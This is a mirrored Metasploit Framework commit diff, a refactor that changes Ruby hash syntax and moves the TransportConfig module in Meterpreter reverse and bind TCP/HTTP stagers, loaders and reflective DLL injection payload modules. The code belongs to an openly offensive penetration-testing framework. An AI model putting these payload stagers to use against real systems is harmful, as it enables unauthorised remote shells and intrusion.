mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Various code format, style changes, file moves
As per Egypt's suggestions.
This commit is contained in:
parent
42f94e70c7
commit
69d2b8ffb1
@ -252,10 +252,10 @@ module ReverseHopHttp
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
|
||||
print_status("Preparing stage for next session #{conn_id}")
|
||||
blob = stage_payload({
|
||||
:uuid => uuid,
|
||||
:uri => conn_id
|
||||
})
|
||||
blob = stage_payload(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
#send up
|
||||
crequest = mclient.request_raw(
|
||||
|
@ -325,10 +325,10 @@ protected
|
||||
|
||||
# generate the stage, but pass in the existing UUID and connection id so that
|
||||
# we don't get new ones generated.
|
||||
blob = obj.stage_payload({
|
||||
:uuid => uuid,
|
||||
:uri => conn_id
|
||||
})
|
||||
blob = obj.stage_payload(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
|
||||
module Msf
|
||||
|
||||
@ -15,26 +15,24 @@ module Msf
|
||||
|
||||
module Payload::Linux::BindTcp
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Linux
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp({
|
||||
:port => datastore['LPORT']
|
||||
})
|
||||
end
|
||||
|
||||
conf = {
|
||||
:port => datastore['LPORT'],
|
||||
:reliable => true
|
||||
port: datastore['LPORT'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/linux'
|
||||
|
||||
module Msf
|
||||
@ -16,30 +16,26 @@ module Msf
|
||||
|
||||
module Payload::Linux::ReverseTcp
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Linux
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_tcp(
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
@ -79,8 +75,8 @@ module Payload::Linux::ReverseTcp
|
||||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
# TODO: reliability is coming
|
||||
#retry_count = [opts[:retry_count].to_i, 1].max
|
||||
#reliable = opts[:reliable]
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
reliable = opts[:reliable]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
|
||||
|
@ -6,7 +6,7 @@ require 'msf/core/payload/uuid_options'
|
||||
# This module contains helper functions for creating the transport
|
||||
# configuration stubs that are used for Meterpreter payloads.
|
||||
##
|
||||
module Msf::TransportConfig
|
||||
module Msf::Payload::TransportConfig
|
||||
|
||||
include Msf::Payload::UUIDOptions
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
@ -17,7 +17,7 @@ module Msf
|
||||
|
||||
module Payload::Windows::BindTcp
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
@ -26,21 +26,17 @@ module Payload::Windows::BindTcp
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp({
|
||||
:port => datastore['LPORT'].to_i,
|
||||
:reliable => false
|
||||
})
|
||||
end
|
||||
|
||||
conf = {
|
||||
:port => datastore['LPORT'].to_i,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:reliable => true
|
||||
port: datastore['LPORT'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
|
@ -71,9 +71,9 @@ module Payload::Windows::MeterpreterLoader
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
||||
|
||||
asm_opts = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:stageless => stageless
|
||||
rdi_offset: offset,
|
||||
length: dll.length,
|
||||
stageless: stageless
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(asm_opts)
|
||||
@ -82,9 +82,8 @@ module Payload::Windows::MeterpreterLoader
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if( bootstrap.length > 62 )
|
||||
print_error( "Meterpreter loader (x86) generated an oversized bootstrap!" )
|
||||
return
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
|
@ -75,8 +75,8 @@ module Payload::Windows::ReflectiveDllInject
|
||||
dll, offset = load_rdi_dll(library_path)
|
||||
|
||||
asm_opts = {
|
||||
:rdi_offset => offset,
|
||||
:exitfunk => 'thread' # default to 'thread' for migration
|
||||
rdi_offset: offset,
|
||||
exitfunk: 'thread' # default to 'thread' for migration
|
||||
}
|
||||
|
||||
asm = asm_invoke_dll(asm_opts)
|
||||
@ -85,9 +85,8 @@ module Payload::Windows::ReflectiveDllInject
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if( bootstrap.length > 62 )
|
||||
print_error( "Reflective Dll Injection (x86) generated an oversized bootstrap!" )
|
||||
return
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Reflective DLL Injection (x86) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
@ -18,7 +18,7 @@ module Msf
|
||||
|
||||
module Payload::Windows::ReverseHttp
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
@ -15,7 +15,7 @@ module Msf
|
||||
|
||||
module Payload::Windows::ReverseTcp
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
@ -24,23 +24,19 @@ module Payload::Windows::ReverseTcp
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_tcp(
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
require 'msf/core/payload/windows/reverse_http'
|
||||
@ -18,7 +18,7 @@ module Msf
|
||||
|
||||
module Payload::Windows::ReverseWinHttp
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseHttp
|
||||
|
||||
#
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
@ -18,7 +18,7 @@ module Msf
|
||||
|
||||
module Payload::Windows::ReverseWinHttps
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows::ReverseWinHttp
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
@ -15,7 +15,7 @@ module Msf
|
||||
|
||||
module Payload::Windows::BindTcp_x64
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
@ -24,20 +24,17 @@ module Payload::Windows::BindTcp_x64
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp({
|
||||
:port => datastore['LPORT'],
|
||||
:reliable => false
|
||||
})
|
||||
end
|
||||
|
||||
conf = {
|
||||
:port => datastore['LPORT'],
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:reliable => true
|
||||
port: datastore['LPORT'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the more advanced stager if we have the space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
|
@ -74,9 +74,9 @@ module Payload::Windows::MeterpreterLoader_x64
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
||||
|
||||
asm_opts = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:stageless => stageless
|
||||
rdi_offset: offset,
|
||||
length: dll.length,
|
||||
stageless: stageless
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(asm_opts)
|
||||
@ -85,9 +85,8 @@ module Payload::Windows::MeterpreterLoader_x64
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if( bootstrap.length > 62 )
|
||||
print_error( "Meterpreter loader (x64) generated an oversized bootstrap!" )
|
||||
return
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Meterpreter loader (x64) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
|
@ -76,8 +76,8 @@ module Payload::Windows::ReflectiveDllInject_x64
|
||||
dll, offset = load_rdi_dll(library_path)
|
||||
|
||||
asm_opts = {
|
||||
:rdi_offset => offset,
|
||||
:exitfunk => 'thread' # default to 'thread' for migration
|
||||
rdi_offset: offset,
|
||||
exitfunk: 'thread' # default to 'thread' for migration
|
||||
}
|
||||
|
||||
asm = asm_invoke_dll(asm_opts)
|
||||
@ -86,9 +86,8 @@ module Payload::Windows::ReflectiveDllInject_x64
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if( bootstrap.length > 62 )
|
||||
print_error( "Reflective Dll Injection (x64) generated an oversized bootstrap!" )
|
||||
return
|
||||
if bootstrap.length > 62
|
||||
raise RuntimeError, "Reflective DLL Injection (x64) generated an oversized bootstrap!"
|
||||
end
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
|
@ -1,7 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
@ -15,7 +15,7 @@ module Msf
|
||||
|
||||
module Payload::Windows::ReverseTcp_x64
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
@ -31,24 +31,19 @@ module Payload::Windows::ReverseTcp_x64
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# TODO: coming later
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
#if self.available_space.nil? || required_space > self.available_space
|
||||
# return generate_reverse_tcp(
|
||||
# port: datastore['LPORT'],
|
||||
# host: datastore['LHOST'],
|
||||
# retry_count: datastore['ReverseConnectRetries'],
|
||||
# )
|
||||
#end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
@ -98,8 +93,9 @@ module Payload::Windows::ReverseTcp_x64
|
||||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
|
||||
#retry_count = [opts[:retry_count].to_i, 1].max
|
||||
# TODO: reliable = opts[:reliable]
|
||||
# TODO: reliability coming later
|
||||
reliable = opts[:reliable]
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
@ -15,7 +15,7 @@ module Metasploit4
|
||||
|
||||
CachedSize = 906910
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
@ -45,20 +45,20 @@ module Metasploit4
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X86
|
||||
})
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config_bind_tcp(opts)],
|
||||
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_bind_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
@ -15,7 +15,7 @@ module Metasploit4
|
||||
|
||||
CachedSize = 907954
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
@ -45,20 +45,20 @@ module Metasploit4
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X86
|
||||
})
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config_reverse_http(opts)],
|
||||
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_http(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
@ -15,7 +15,7 @@ module Metasploit4
|
||||
|
||||
CachedSize = 907954
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
@ -45,20 +45,20 @@ module Metasploit4
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X86
|
||||
})
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config_reverse_https(opts)],
|
||||
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_https(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
@ -15,7 +15,7 @@ module Metasploit4
|
||||
|
||||
CachedSize = 906910
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
@ -46,20 +46,20 @@ module Metasploit4
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X86
|
||||
})
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config_reverse_ipv6_tcp(opts)],
|
||||
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_ipv6_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
@ -15,7 +15,7 @@ module Metasploit3
|
||||
|
||||
CachedSize = 906910
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
@ -45,20 +45,20 @@ module Metasploit3
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X86
|
||||
})
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config_reverse_tcp(opts)],
|
||||
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
@ -15,7 +15,7 @@ module Metasploit4
|
||||
|
||||
CachedSize = 1128098
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
@ -45,20 +45,20 @@ module Metasploit4
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X64
|
||||
})
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config_bind_tcp(opts)],
|
||||
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_bind_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/transport_config'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
@ -15,7 +15,7 @@ module Metasploit4
|
||||
|
||||
CachedSize = 1129142
|
||||
|
||||
include Msf::TransportConfig
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
@ -45,20 +45,20 @@ module Metasploit4
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X64
|
||||
})
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
